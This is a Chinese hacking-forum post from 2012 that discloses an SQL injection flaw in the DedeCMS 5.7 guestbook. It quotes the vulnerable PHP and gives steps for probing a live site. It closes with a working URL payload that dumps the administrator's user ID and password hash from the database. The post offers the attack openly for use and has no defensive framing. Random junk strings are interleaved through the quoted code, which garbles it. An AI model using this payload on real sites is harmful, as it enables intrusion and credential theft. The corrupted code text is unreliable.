找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3759|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.7
" i5 C( E7 U' q/ Z, M9 g# s3 W0 j  ]0 t6 v8 v& L
漏洞文件edit.inc.php具体代码:
1 s$ T0 @0 I4 e$ a6 X/ u0 f3 u. U. c: L4 n9 t5 \& _- Z2 W  ?
< ?php  ) c. _2 ~- I# s9 x' o7 G8 U

* Y6 L) V% A3 `$ f# g2 U5 Tif(!defined('DEDEINC')) exit('Request Error!');  * Y2 k6 v& }/ U* h* |2 D
1 z' w( q& q; ~: C
   - M2 N  Z: k( m. f: }$ A- z

5 i& w  K' g5 dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
6 Y& d, {* I' B! c8 _
0 K1 f, M3 S& g; H3 e( X) e# Ielse $GUEST_BOOK_POS = "guestbook.php";  
, R( U+ b4 s" e& q$ z* X4 `7 \. j( F) s# g! w; Y; w3 H) h' d
   
% N% B/ x' D+ O' E$ l% w! g7 M8 S
! [7 k$ t3 W* l$id = intval($id);  
# S8 g% R$ ]! y
5 z1 q6 K6 W. T& ~) `; h+ P- _1 Pif(empty($job)) $job='view';  & J% X9 G! I( w9 a$ |+ C( p

- g, l# }5 [# G# o) t   
7 ^8 e: x) ]$ d& \& c# g
! `% L  v9 N' y7 T- l3 s: zif($job=='del' && $g_isadmin)  
, s/ S/ t1 j" S" v2 E$ R2 k: m$ Z8 A
{  . S# }! u2 g) c( Z& H8 E
! {$ P7 t' B/ W! [+ L! y% d
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  / [4 U- e, u# g) M. b

% L% n, N! K. ], s5 DShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
7 f8 M. ?, Q4 V* e6 a2 i
3 x0 y, ^! H  M) L2 Wexit();    X2 _; B( w9 b# J1 ?9 O% e2 w  |
/ @% M2 H6 b* {) V
}  
9 e% G5 j! C3 {  X8 p$ @! X& W6 Z8 O  Z+ p; I% F
else if($job=='check' && $g_isadmin)  
: j( x9 I6 ^( E- r0 \
. B  p% l5 B  |5 a" s' H% r6 ~9 e{  2 k5 t& e' O% p  g

; ~* S9 T2 H& o- e$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
' M3 J3 N5 E( e' E  I
+ Y$ `: L& t" @ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
0 j( m) Y" Q7 t' n- t. g& e- @3 ]+ t- M% B, ^
exit();  
) M0 z' X- q- X, _1 r( T, s, Q, P# m5 o$ c/ v+ \2 }, h
}  
! S+ Q/ V+ D% Z3 K; [" {
# F' x" I; {" b- F# \else if($job=='editok')  
) F- Q9 K* f0 t6 G1 c
( _- ^3 T5 G& W0 k" `# B$ c{  
/ }' v! a& Y3 {9 r, W9 m/ P5 k. e* k$ J- F1 J/ D* @
$remsg = trim($remsg);  0 K* M8 y# g) v- J( P

! A+ o: ]# w. x" v+ w  b5 Oif($remsg!='')  6 u6 g: T! n% W# g

9 S' }2 O" m1 Y+ G$ }- e( H8 Q{  ! l6 l' V7 _& O" ^* S: o0 b

$ x& _: L# U. U/ v//管理员回复不过滤HTML By:Errorera blog:errs.cc    g. p$ r- M, P/ |  Z' Y
0 d$ U, s! I4 A( o
if($g_isadmin)  
8 d4 H+ i  K% V+ P  m. j& N% j+ X1 @$ Q3 d
{  
, S9 c: A: W, w. o
; W+ I' [* ]# A8 n* D$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
; f/ i: ]0 s$ q- J+ R% `. ~$ l
7 _1 P' g+ k$ p0 z/ e//$remsg <br /><font color=red>管理员回复:</font> }  
5 \, \) X7 Q# m! o# J( G1 D- v4 S' q" y4 e( g! ^) D: {
else ; H* N, \; y& o* o: z. `0 p

: {1 I" _- C6 r7 r{  
2 T' Z9 p3 j6 ]1 J# `
* e* U. ~1 T0 M& c6 ^' a" D$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  4 O4 e! f' J( j8 [$ s% m. ^% m

3 c' ]  S. L9 y4 M8 r" D$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ) W; d+ s. C$ o& A# O0 ?* c( D

8 Z$ x, H6 }( L$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  , z& T9 t; P# g8 x& N/ n3 ^
/ ~& [" @4 e2 X0 p$ F
$msg = $oldmsg.$remsg;  7 ?$ Z0 ]8 L+ Y

" x! P* E. F  a$ _  Y( ]}  * H; c4 w4 J, O- u' U, A4 z6 a8 }
- o6 N$ u4 T' v
}  
5 Y: Z' H- ]# l+ x# A' K
1 A( i( Y, E- `7 j//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  3 a, f$ m/ A, m5 |  u' V1 e2 _8 }" g( v
+ o+ d$ n1 V" ^; }) c
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  2 ]6 B% Z: w# c
9 e$ _; L8 a% m! ~8 u8 S
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  % |' h- O& j  I
' M( W3 `6 e6 H6 L  l6 p
exit();  9 S+ A  I3 {$ l
* k( x7 ?5 R: A& h' g1 E6 x$ J
}  & Q) Q2 m- f; W$ E

2 L' t; g: x) \3 R: [//home:www.errs.cc  
# g) P, L4 t' O' Q
8 z* `4 p3 ]0 N. ~1 ^if($g_isadmin)  % [; _2 G( s0 `4 H! w

' L$ u$ c* a0 `* R{  5 l3 Y; g0 f( |. y: H% L: V  Q
6 A' N* X' H* J2 t$ I/ A& t. O) E
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  # w& X% c7 g# {& Y3 V
, ~+ Z! z4 h: G0 ?% W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  1 e9 H6 p: o1 i
4 ?3 I; v/ X& C% K1 \& F& {
}  2 m- Q7 q" b# q5 Q3 y
3 G" b8 u& ^& D1 h
else
; \7 H' A' |. K0 a; ?! R. ?% `+ S% m  k& v
{  + `. H2 s2 |) J8 J$ j
8 E' B: ~1 ]' {
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  - f3 E0 K4 c7 t' ~' Y/ i$ N
! o' ?$ O2 {, M! d" F
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  / T! |' Y8 U/ ~% d0 k' D- b6 d

  k' v- T3 ^, ?/ |* M3 C} 漏洞成功需要条件:3 s& j' \! O! Z) u2 [- M
1. php magic_quotes_gpc=off
5 U+ g8 r. v5 V0 g6 P# Q8 ^2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。" y# ?! p' s( }8 v

8 E$ ]& M* `6 E" w怎么判断是否存在漏洞:+ h) @" H" N& j
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
1 U. i/ a" r, x9 d$ u然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
, m5 A2 M" H, ^% M; h2 w2 G  L访问:
6 R) i. j: n8 g3 B" \
8 ?' h$ A% E' Vwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 c1 ]$ V9 z) t" Q# h: |0 d跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
( q/ W' H4 w# A, C0 D: P0 A
7 [7 r" [& n$ c4 F* H# U4 X8 M/ v6 s! ~+ ?* ]% p% h- A8 f' `
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 z& o! C# a0 C如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
8 k9 g* B8 n  G% ^- h那么再次访问' k9 ^* W- X. C

8 z, d; k1 Q) ?7 {4 w2 kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().: q8 F+ `' [# h9 ^. `# D

* K7 J& O4 h/ }( K5 O大概利用就是这样,大家有兴趣的多研究下!!8 J3 A6 t: q# ?4 G$ K$ \. d( o6 m

7 J2 c% B/ }0 P. K1 }: V最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!4 V- c( c% d; N* U! r! A1 M
. ]1 s6 ~; f1 P( v6 y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表